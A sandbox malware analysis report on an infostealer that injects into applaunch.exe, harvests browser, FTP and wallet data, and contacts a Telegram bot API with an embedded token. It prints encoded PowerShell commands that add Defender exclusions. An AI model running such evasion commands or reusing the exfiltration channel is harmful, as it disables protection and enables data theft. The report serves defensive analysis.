
DYNAMIC ANALYSIS REPORT
#9366089

MALICIOUS

Classifications: Spyware Injector

Threat Names: Mal/Generic-S

Verdict Reason: -

Sample Type Windows Exe (x86-32)

File Name a6ca5523fce6a4a43964319c35ecb868186465309e9226ab07c158519a5ef6f9.exe

ID #3908236

MD5 280bfd5ea1f41586ea0ef60ee44bc8db

SHA1 57aa866f42bccbaceed938390001148323d033c1

SHA256 a6ca5523fce6a4a43964319c35ecb868186465309e9226ab07c158519a5ef6f9

File Size 4603.28 KB

Report Created 2022-03-27 03:50 (UTC+2)

Target Environment win10_64_th2_en_mso2016 | exe
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DYNAMIC ANALYSIS REPORT
#9366089

OVERVIEW

VMRay Threat Identifiers (27 rules, 53 matches)

Score Category Operation Count Classification

5/5 Data Collection Tries to read cached credentials of various applications 1 Spyware

Tries to read sensitive data of: Exodus Cryptocurrency Wallet, k-Meleon, Opera, Ethereum, Total Commander.• 

4/5 Injection Writes into the memory of another process 1 Injector

(Process #2) chiefkeefofficialnaxyi_crypted(6).exe modifies memory of (process #5) applaunch.exe.• 

4/5 Injection Modifies control flow of another process 1 -

(Process #2) chiefkeefofficialnaxyi_crypted(6).exe alters context of (process #5) applaunch.exe.• 

4/5 Reputation Known malicious file 3 -

Reputation analysis labels the sample itself as "Mal/Generic-S".

Reputation analysis labels file "C:\Users\RDhJ0CNFevzX\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe" as "Mal/Generic-S".

Reputation analysis labels file "C:\Users\RDhJ0CNFevzX\AppData\Roaming\34432.exe" as "Mal/Generic-S".

• 

• 

• 

3/5 Data Collection Reads cryptocurrency wallet locations 2 -

(Process #5) applaunch.exe tries to read the cryptocurrency wallet "Exodus Cryptocurrency Wallet".

(Process #5) applaunch.exe tries to read the cryptocurrency wallet "Ethereum" for "ETH".

• 

• 

3/5 Defense Evasion Tries to detect the presence of antivirus software 1 -

(Process #5) applaunch.exe tries to detect antivirus software via WMI query: "Select * from AntivirusProduct".• 

2/5 Discovery Executes WMI query 8 -

(Process #5) applaunch.exe executes WMI query: SELECT * FROM Win32_Processor.

(Process #5) applaunch.exe executes WMI query: SELECT * FROM Win32_VideoController.

(Process #5) applaunch.exe executes WMI query: Select * from Win32_ComputerSystem.

(Process #5) applaunch.exe executes WMI query: Select * From Win32_Process.

(Process #5) applaunch.exe executes WMI query: SELECT * FROM win32_operatingsystem.

(Process #5) applaunch.exe executes WMI query: SELECT ExecutablePath, ProcessID FROM Win32_Process.

(Process #5) applaunch.exe executes WMI query: Select * From Win32_ComputerSystem.

(Process #5) applaunch.exe executes WMI query: Select * from AntivirusProduct.

• 

• 

• 

• 

• 

• 

• 

• 

2/5 Discovery Collects hardware properties 1 -

(Process #5) applaunch.exe queries hardware properties via WMI.• 

2/5 Discovery Reads network adapter information 1 -

(Process #5) applaunch.exe reads the network adapters' addresses by API.• 

2/5 Anti Analysis Tries to detect application sandbox 3 -

(Process #5) applaunch.exe tries to detect "Sandboxie" by checking for existence of module "SbieDll.dll".

(Process #5) applaunch.exe tries to detect "AVAST Sandbox" by checking for existence of module "snxhk.dll".

(Process #5) applaunch.exe tries to detect "Comodo Sandbox" by checking for existence of module "cmdvrt32.dll".

• 

• 

• 

2/5 Anti Analysis Tries to detect debugger 1 -

X-Ray Vision for Malware - www.vmray.com 2 / 38



DYNAMIC ANALYSIS REPORT
#9366089

Score Category Operation Count Classification

(Process #5) applaunch.exe tries to detect a debugger via API "CheckRemoteDebuggerPresent".• 

2/5 Discovery Enumerates running processes 2 -

(Process #5) applaunch.exe enumerates running processes via WMI.

(Process #5) applaunch.exe enumerates running processes.

• 

• 

2/5 Data Collection Reads sensitive ftp data 1 -

(Process #5) applaunch.exe tries to read sensitive data of ftp application "Total Commander" by file.• 

2/5 Data Collection Reads sensitive browser data 2 -

(Process #5) applaunch.exe tries to read sensitive data of web browser "Opera" by file.

(Process #5) applaunch.exe tries to read sensitive data of web browser "k-Meleon" by file.

• 

• 

2/5 Discovery Queries OS version via WMI 1 -

(Process #5) applaunch.exe queries OS version via WMI.• 

2/5 Heuristics Signed executable failed signature validation 1 -

C:\Users\RDhJ0CNFevzX\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe is signed, but signature validation failed.• 

1/5 Hide Tracks Creates process with hidden window 4 -

(Process #1) a6ca5523fce6a4a43964319c35ecb868186465309e9226ab07c158519a5ef6f9.exe starts (process #2) chiefkeefofficialnaxyi_crypted(6).exe with a hidden window.

(Process #1) a6ca5523fce6a4a43964319c35ecb868186465309e9226ab07c158519a5ef6f9.exe starts (process #4) 34432.exe with a hidden window.

(Process #2) chiefkeefofficialnaxyi_crypted(6).exe starts (process #5) applaunch.exe with a hidden window.

(Process #4) 34432.exe starts (process #6) cmd.exe with a hidden window.

• 

• 

• 

• 

1/5 Obfuscation Reads from memory of another process 1 -

(Process #2) chiefkeefofficialnaxyi_crypted(6).exe reads from (process #5) applaunch.exe.• 

1/5 Obfuscation Creates a page with write and execute permissions 1 -

(Process #2) chiefkeefofficialnaxyi_crypted(6).exe allocates a page in a foreign process with "PAGE_EXECUTE_READWRITE" permissions, often used to dynamically unpack code.• 

1/5 Mutex Creates mutex 1 -

(Process #5) applaunch.exe creates mutex with name "9D16FBEF0D8A8F87529DE06A1C43C737".• 

1/5 Privilege Escalation Enables process privilege 1 -

(Process #5) applaunch.exe enables process privilege "SeDebugPrivilege".• 

1/5 Discovery Possibly does reconnaissance 4 -

(Process #5) applaunch.exe tries to gather information about application "Mozilla Firefox" by file.

(Process #5) applaunch.exe tries to gather information about application "k-Meleon" by file.

(Process #5) applaunch.exe tries to gather information about application "Comodo IceDragon" by file.

(Process #5) applaunch.exe tries to gather information about application "Cyberfox" by file.

• 

• 

• 

• 

1/5 Obfuscation Resolves API functions dynamically 1 -

(Process #5) applaunch.exe resolves 49 API functions by name.• 

1/5 Network Connection Performs DNS request 3 -
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Score Category Operation Count Classification

(Process #5) applaunch.exe resolves host name "ip-api.com" to IP "208.95.112.1".

(Process #5) applaunch.exe resolves host name "raw.githubusercontent.com" to IP "185.199.108.133".

(Process #5) applaunch.exe resolves host name "api.telegram.org" to IP "149.154.167.220".

• 

• 

• 

1/5 Network Connection Connects to remote host 3 -

(Process #5) applaunch.exe opens an outgoing TCP connection to host "208.95.112.1:80".

(Process #5) applaunch.exe opens an outgoing TCP connection to host "185.199.108.133:443".

(Process #5) applaunch.exe opens an outgoing TCP connection to host "149.154.167.220:443".

• 

• 

• 

1/5 Execution Drops PE file 2 -

(Process #1) a6ca5523fce6a4a43964319c35ecb868186465309e9226ab07c158519a5ef6f9.exe drops file "C:
\Users\RDhJ0CNFevzX\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe".

(Process #1) a6ca5523fce6a4a43964319c35ecb868186465309e9226ab07c158519a5ef6f9.exe drops file "C:\Users\RDhJ0CNFevzX\AppData\Roaming\34432.exe".

• 

• 

1/5 Execution Executes dropped PE file 2 -

Executes dropped file "C:\Users\RDhJ0CNFevzX\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe".

Executes dropped file "C:\Users\RDhJ0CNFevzX\AppData\Roaming\34432.exe".

• 

• 

- Trusted Known clean file 7 -

File "C:\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6fe77092-4798-42ae-bda5-e7f822b580e9" is a
known clean file.

File "C:\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_da21122d-ae44-4f93-ba1d-c9a978ca5b20" is a
known clean file.

File "C:\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_cc38888a-7080-4220-9b7d-de7a9b2167ba" is a
known clean file.

File "C:\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6de40067-cd2a-4666-8cd9-870e0a588215" is a
known clean file.

File "C:\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f9e52a2e-51b0-4ce6-9de0-3959d95ded6e" is a
known clean file.

File "C:\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_67a2505d-bf00-4e2f-b010-406d32caddc3" is a
known clean file.

File "C:\Users\RDhJ0CNFevzX\AppData\Local\Temp\x4g0yyrm.yrp.ps1" is a known clean file.

• 

• 

• 

• 

• 

• 

• 
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Mitre ATT&CK Matrix
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Sample Information

Analysis Information

ID #3908236

MD5 280bfd5ea1f41586ea0ef60ee44bc8db

SHA1 57aa866f42bccbaceed938390001148323d033c1

SHA256 a6ca5523fce6a4a43964319c35ecb868186465309e9226ab07c158519a5ef6f9

SSDeep 98304:keFfhFS2DkSocOZKjg/sN0GkhVT8pxlxE7SSvsaTGN:keFfhxISoJZKs/DjV0xESmeN

ImpHash 56a78d55f3f7af51443e58e0ce2fb5f6

File Name a6ca5523fce6a4a43964319c35ecb868186465309e9226ab07c158519a5ef6f9.exe

File Size 4603.28 KB

Sample Type Windows Exe (x86-32)

Has Macros

Creation Time 2022-03-27 03:50 (UTC+2)

Analysis Duration 00:04:00

Termination Reason Timeout

Number of Monitored Processes 7

Execution Successful False

Reputation Enabled

WHOIS Enabled

Built-in AV Enabled

Built-in AV Applied On Sample Files, PCAP File, Downloaded Files, Dropped Files, Modified Files, Memory Dumps, Embedded Files

Number of AV Matches 0

YARA Enabled

YARA Applied On Sample Files, PCAP File, Downloaded Files, Dropped Files, Modified Files, Memory Dumps, Embedded Files

Number of YARA Matches 0
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Screenshots truncated
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NETWORK

General

DNS

HTTP/S

HTTP Requests

Method URL Dest. IP Dest. Port Status Code Response Size Verdict

DNS Requests

Type Hostname Response Code Resolved IPs CNames Verdict

78.40 KB total sent

37.33 KB total received

2 ports 80, 443

4 contacted IP addresses

0 URLs extracted

0 files downloaded

0 malicious hosts detected

4 DNS requests for 3 domains

1 nameservers contacted

0 total requests returned errors

4 URLs contacted, 3 servers

5 sessions, 78.34 KB sent, 36.85 KB received

GET http://ip-api.com/line/?fields=hosting - - 0 bytes NA

GET http://ip-api.com/json - - 0 bytes NA

GET
https://raw.githubusercontent.com/epicls/epicls/main/
bttkn.txt

- - 0 bytes NA

GET
https://api.telegram.org/
bot5183965885:AAGm81IThm_mQ0uUlZYxOJHgWhcsZK
Uk7xI/getMe

- - 0 bytes NA

A ip-api.com NoError 208.95.112.1 NA

A raw.githubusercontent.com NoError

185.199.108.133,
185.199.111.133,
185.199.110.133,
185.199.109.133

NA

A api.telegram.org NoError 149.154.167.220 NA
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BEHAVIOR

Process Graph

Sample Start
#1

a6ca5523fce6a4a43964319c35ecb868186465309e9226ab07c158519a5ef6f9.exe

#2
chiefkeefofficialnaxyi_crypted(6).exeChild Process

#4
34432.exe

Child Process

#5
applaunch.exe

Modify Memory

Modify Control Flow

Child Process

#6
cmd.exe

Child Process

#8
powershell.exeChild Process

#14
powershell.exe

Child Process
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Process #1: a6ca5523fce6a4a43964319c35ecb868186465309e9226ab07c158519a5ef6f9.exe

Dropped Files (2)

File Name File Size SHA256 YARA Match

Host Behavior

Type Count

ID 1

File Name c:\users\rdhj0cnfevzx\desktop\a6ca5523fce6a4a43964319c35ecb868186465309e9226ab07c158519a5ef6f9.exe

Command Line "C:\Users\RDhJ0CNFevzX\Desktop\a6ca5523fce6a4a43964319c35ecb868186465309e9226ab07c158519a5ef6f9.exe" 

Initial Working Directory C:\Users\RDhJ0CNFevzX\Desktop\

Monitor Start Time Start Time: 70892, Reason: Analysis Target

Unmonitor End Time End Time: 104702, Reason: Terminated

Monitor duration 33.81s

Return Code 0

PID 1096

Parent PID 1184

Bitness 32 Bit

C:
\Users\RDhJ0CNFevzX\AppData\Roaming\ChiefKeefofficialnaxyi_cr
ypted(6).exe

4910.30 KB
4b283ec8e073fb61bbb612a152eb332a5c92e7473cf6584a8b716fd87684
a936

C:\Users\RDhJ0CNFevzX\AppData\Roaming\34432.exe 2311.50 KB 39630aaf0e17aa1929b5cf2f4340c22f22fa6f8f6d76f8398c288bff972b95fa

System 614

Module 23

File 930

Process 2
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Process #2: chiefkeefofficialnaxyi_crypted(6).exe

Host Behavior

Type Count

ID 2

File Name c:\users\rdhj0cnfevzx\appdata\roaming\chiefkeefofficialnaxyi_crypted(6).exe

Command Line C:\Users\RDhJ0CNFevzX\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe

Initial Working Directory C:\Users\RDhJ0CNFevzX\AppData\Roaming\

Monitor Start Time Start Time: 103055, Reason: Child Process

Unmonitor End Time End Time: 124046, Reason: Terminated

Monitor duration 20.99s

Return Code 0

PID 2156

Parent PID 1096

Bitness 32 Bit

Module 36

File 54

Environment 1

Process 1

- 3

- 8
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Process #4: 34432.exe

Host Behavior

Type Count

ID 4

File Name c:\users\rdhj0cnfevzx\appdata\roaming\34432.exe

Command Line C:\Users\RDhJ0CNFevzX\AppData\Roaming\34432.exe

Initial Working Directory C:\Users\RDhJ0CNFevzX\AppData\Roaming\

Monitor Start Time Start Time: 103521, Reason: Child Process

Unmonitor End Time End Time: 311213, Reason: Terminated by Timeout

Monitor duration 207.69s

Return Code Unknown

PID 5116

Parent PID 1096

Bitness 64 Bit

Module 1

Environment 1

System 1

File 3

- 1

Process 1
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Process #5: applaunch.exe

Injection Information (3)

Injection Type Source Process Source / Target TID Address / Name Size Success Count

Dropped Files (8)

File Name File Size SHA256 YARA Match

ID 5

File Name c:\windows\microsoft.net\framework\v4.0.30319\applaunch.exe

Command Line "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

Initial Working Directory C:\Users\RDhJ0CNFevzX\AppData\Roaming\

Monitor Start Time Start Time: 121354, Reason: Child Process

Unmonitor End Time End Time: 311213, Reason: Terminated by Timeout

Monitor duration 189.86s

Return Code Unknown

PID 3544

Parent PID 2156

Bitness 32 Bit

Modify Memory

#2: c:
\users\rdhj0cnfevzx\appdata
\roaming\chiefkeefofficialna
xyi_crypted(6).exe

0x728 0x400000(4194304) 0x92000 1

Modify Memory

#2: c:
\users\rdhj0cnfevzx\appdata
\roaming\chiefkeefofficialna
xyi_crypted(6).exe

0x728 0x306008(3170312) 0x4 1

Modify Control Flow

#2: c:
\users\rdhj0cnfevzx\appdata
\roaming\chiefkeefofficialna
xyi_crypted(6).exe

0x728 / 0xbd4 0x77798fe0(2004455392) - 1

C:
\Users\RDhJ0CNFevzX\AppData\Local\035feb13ecf1f3145b7745a75a
2e1a75\RDhJ0CNFevzX@XC64ZB_en-
US_2022_03_27_03_52_17@v1.3.1\Screenshot.jpg

106.05 KB
11926ea1d04cd83e8d8f279ce0c333700c0f68c796c7b4b95ab7b1edf5f0
ae22

C:
\Users\RDhJ0CNFevzX\AppData\Local\035feb13ecf1f3145b7745a75a
2e1a75\RDhJ0CNFevzX@XC64ZB_en-
US_2022_03_27_03_52_17@v1.3.1\Information.txt

490 bytes
6266593b76382944b47bcb405d8bab9d3ea60d3640c8e99bc6d06dd9ba
0d7db2

C:
\Users\RDhJ0CNFevzX\AppData\Local\035feb13ecf1f3145b7745a75a
2e1a75\DotNetZip-nxtjuzlo.tmp

117.85 KB
a5e27fe611d73d0417bc898b0ed4fccad39537fc5145a0b4d7e1122fb2c5
04fc

C:
\Users\RDhJ0CNFevzX\AppData\Local\035feb13ecf1f3145b7745a75a
2e1a75\msgid.dat

12 bytes
7ec10e1f7b8964b9ec7303ccd3a6aebf1d23bb79cb7e697ccbbae34e4ae
bb88c

C:
\Users\RDhJ0CNFevzX\AppData\Local\035feb13ecf1f3145b7745a75a
2e1a75\RDhJ0CNFevzX@XC64ZB_en-
US_2022_03_27_03_52_17@v1.3.1\Grabber\Users\RDhJ0CNFevzX\
Desktop\UJaeOBQUW7h.rtf

15.93 KB
518f19f458d73ba92e9be69e7263b4ecc34f857e6334f8a6963da3a0c9cc
87d9

C:
\Users\RDhJ0CNFevzX\AppData\Local\035feb13ecf1f3145b7745a75a
2e1a75\RDhJ0CNFevzX@XC64ZB_en-
US_2022_03_27_03_52_17@v1.3.1\Software.txt

4.36 KB
9f5ace47fce9330fd0d5341db52e2e23bb471852a408e0394de2ff8a92d12
382

C:
\Users\RDhJ0CNFevzX\AppData\Local\035feb13ecf1f3145b7745a75a
2e1a75\RDhJ0CNFevzX@XC64ZB_en-
US_2022_03_27_03_52_17@v1.3.1\Processes.txt

9.22 KB
6e351b8c534fb7fa3e57ceeb8631f6dc0a260993802c4db1237ce2faadd9
d6cc

C:
\Users\RDhJ0CNFevzX\AppData\Local\035feb13ecf1f3145b7745a75a
2e1a75\RDhJ0CNFevzX@XC64ZB_en-
US_2022_03_27_03_52_17@v1.3.1\Windows.txt

827 bytes
456853e6f255ed9caed715fbe43cc5ede55e516d51d15d9159a0b36126d
5537b
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Host Behavior

Type Count

Network Behavior

Type Count

User 2

System 25

Registry 807

Module 141

- 152

COM 292

- 64

File 1272

Process 126

Mutex 2

Environment 8

- 1

HTTP 2

HTTPS 2

DNS 4

TCP 6
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Process #6: cmd.exe

Host Behavior

Type Count

ID 6

File Name c:\windows\system32\cmd.exe

Command Line

"cmd" cmd /c powershell -EncodedCommand
"QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAK...
...BuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtA
EYAbwByAGMAZQA=" & exit

Initial Working Directory C:\Windows\system32\

Monitor Start Time Start Time: 141325, Reason: Child Process

Unmonitor End Time End Time: 311213, Reason: Terminated by Timeout

Monitor duration 169.89s

Return Code Unknown

PID 3036

Parent PID 5116

Bitness 64 Bit

Module 8

Registry 17

File 22

Environment 23

System 1

Process 2
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Process #8: powershell.exe

Dropped Files (36)

File Name File Size SHA256 YARA Match

ID 8

File Name c:\windows\system32\windowspowershell\v1.0\powershell.exe

Command Line
powershell -EncodedCommand
"QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQ
BzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" 

Initial Working Directory C:\Windows\system32\

Monitor Start Time Start Time: 143721, Reason: Child Process

Unmonitor End Time End Time: 272012, Reason: Terminated

Monitor duration 128.29s

Return Code 1

PID 4648

Parent PID 3036

Bitness 64 Bit

C:\Users\RDhJ0CNFevzX\AppData\Local\Temp\x4g0yyrm.yrp.ps1 1 bytes
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b
4b

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheEntry_35cafaf5-03
f2-42a2-93c9-176611e1b15a

690 bytes
4985daa10ab2e4770670a38d5cd2a15c3fd7cd1c8ed679d202a5e9e09b9
83fc3

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheEntry_04225cbb-
d96f-4dc7-adf1-f8d1760f2748

974 bytes
627e6b88e61562ed24ee216f5153264bbd7bb259605f2f9f89beed3c4aefc
a57

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0c0b8ee4-
e605-4bc0-a33a-4cb3dc447974

693 bytes
d4047357a1edf5d34dafe49e58d3023d40fda12732c9e7e7e65fa6769e7a
acf4

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheEntry_67d62fa6-
fc88-4ec3-88c2-3552f80eed04

1.41 KB
a5e8bab64392a30b85f5cb93bbe3b35cc981c61bc6d4dd16d25bcc734dc
0e312

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d59564cf-
b104-4c7d-9004-001b825e68ce

1016 bytes
2a761c02935a44d0f783cfb34aee5b514864da12336527781fa0b341518a
9e07

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c2e444a1-
a8cf-4642-84d4-bf6b49447700

1.86 KB
6b6c06abd51531f3f2129e3927074b7df0624435d9fc652883b6e2b57fc6d
b02

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheEntry_743373ac-5
9ce-4f0d-866c-dfe07f42ee30

805 bytes
a68d471f739180f6a0d670ce4757471eb527a06628bfaed1fa9c8507d036
6a63

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheEntry_faf4cf84-04
80-4120-a4e7-df44a75895d1

805 bytes
c9d60721420164ef6d1707b4868440e9a90f3a3f36defbd14ff7f25ba55652
d7

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheEntry_dc1db2eb-0
493-4424-b2cc-9326164d47fe

4.78 KB
5d27dc383f4de3692eadfb15e7ad30b523113c59e6ae595a8451385f4edb
739a

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e819a753-
bfee-41cc-87e9-7a88fcadf60e

1.84 KB
81b1dfc80a53d710a45845c2ceac7a921b3d2b5033a705ae2ddbe62773b
a6256

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheEntry_07198b07-5
f67-4979-b796-a52fe0942b9c

1.27 KB
1c6d2138e5de6c498ce47beaa181f5717420306bfffc174c75d7b2f7d9bdd
dcf
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C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e9866120-4
b16-4ca2-9e66-af55aa604142

3.79 KB
34ed6390a3bc4bc2e0e7fa5c8e4623e59d88ad14e14b96513d812689493
be057

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8e96ee40-6
b35-47dc-81d5-b2d5c2e260b3

2.89 KB
91963953d5bab4cf5d8b01acaf5f39e809e32567ec8794e810566e8402e2
20c7

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f4f516c-24
cd-4f8d-980a-b1ceaf0436fb

1.68 KB
76c34383567254ed170d26f68c07adb09a8de40be537c45eb65ef971bf60
73ec

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheIndex

2.16 KB
29840f7d4b32ed407f31512557810a94139d863cf9cd103e3c191e74babc
9046

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheIndex

2.16 KB
8654c22b21a114cb105203eace56e22969b294667050d876f2ddbb82914
bd5dd

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheIndex

2.16 KB
c48d5f650e77d2cca28123402a3076d1b60254a04e2c832efb4f46ea86b1
c142

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheIndex

2.16 KB
0b39a46f94e089fc5f2b3c9f445865ad41c58f63c10aa56606f0dda146d37
57d

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheIndex

2.16 KB
23a05b3034f9d99dc1fc23bca8848e0baaaf8bd3660892915cdf2052be7b
e86b

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheIndex

2.16 KB
b5eafc0d8738aa0243f9062d409955480186a368e9cb3c67f37aa067a2f8
409d

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheIndex

2.16 KB
4ab3408745ed549ae0e65c6f8b8095698e4cca8cdd9152901c6025d733f
e8d12

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheIndex

2.42 KB
c0e001b1ee5b7b2b7540944a707f5a25f263494c8258d5fca2e0d74f369d
6454

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheIndex

2.70 KB
268c5302ba88eb63c72a53521aa789795105c69e03aa35b0bf5d5b11426
007ba

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheIndex

2.97 KB
7ee6257f3d71e64b2f64b8e5d7ae8ef7da7c4b4832112c775e0bbe1ada9b
12e3

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheIndex

3.22 KB
97c25cef5780e8f8e23709172c4cb80c7feaae4773daedc3a069394a3f1d
2579

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheIndex

3.46 KB
610c020a6630bbf8fd67026e10a1b00cb5a75350153eb634a8cc4fcf6c6d
1b6c

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheIndex

3.68 KB
e98f96bc9cc0cb467606b075adad021640901fb8ed2792f452c3d082c01a
d9b4

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheIndex

3.93 KB
5eb7ecc9e79cfb71426f77125f013ce3d4f2f6cd470615cd4b555b0dc4881
e31

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheIndex

4.17 KB
f7b73c4cc75d940b5ed2332660234f8a05936ad8e5ddbdeb3aa5265d2b0
38b24

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheIndex

4.40 KB
0038b9cde1fa23b0219085e1dd4b1343919e1eddc8efd86b6f76d247e2dd
faca

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheIndex

4.64 KB
6fb6f5fbef8875bf2c6b3d0c73bd08c88ca2b5a5649210c4fa444402bd077
11e

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheIndex

4.88 KB
0d0cddc8dc2834c30059028fc51598af7fca64a984bb7236f54a145c361d
390a
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Host Behavior

Type Count

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheIndex

5.11 KB
91f04c98828ee74e2f76618278e9693fd01b1a823ce0ed4824e8b4a30d94
62a2

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheIndex

5.35 KB
55708031c12bb04d19981dc1a4d7f2965906f6147e283c18630a48ba84c
2dd9a

C:
\Users\RDhJ0CNFevzX\AppData\Local\Microsoft\Windows\PowerS
hell\CommandAnalysis\PowerShell_AnalysisCacheIndex

5.58 KB
33358d3e64c84de81a2f1b2f2d01324737aaa06e0b417991945e45ae95e
11802

File 13052

User 2

Module 19

System 253

Registry 560

Environment 246

- 1

- 132

Mutex 146

COM 4
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Process #14: powershell.exe

Dropped Files (1)

File Name File Size SHA256 YARA Match

Host Behavior

Type Count

ID 14

File Name c:\windows\system32\windowspowershell\v1.0\powershell.exe

Command Line
powershell -EncodedCommand
"QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJ
wBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" 

Initial Working Directory C:\Windows\system32\

Monitor Start Time Start Time: 271048, Reason: Child Process

Unmonitor End Time End Time: 311213, Reason: Terminated by Timeout

Monitor duration 40.16s

Return Code Unknown

PID 3336

Parent PID 3036

Bitness 64 Bit

C:\Users\RDhJ0CNFevzX\AppData\Local\Temp\atg3pfih.qmd.ps1 1 bytes
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b
4b

File 1615

User 2

Module 15

System 93

Registry 295

Environment 103

- 1

- 26

Mutex 32

COM 4

X-Ray Vision for Malware - www.vmray.com 20 / 38



DYNAMIC ANALYSIS REPORT
#9366089

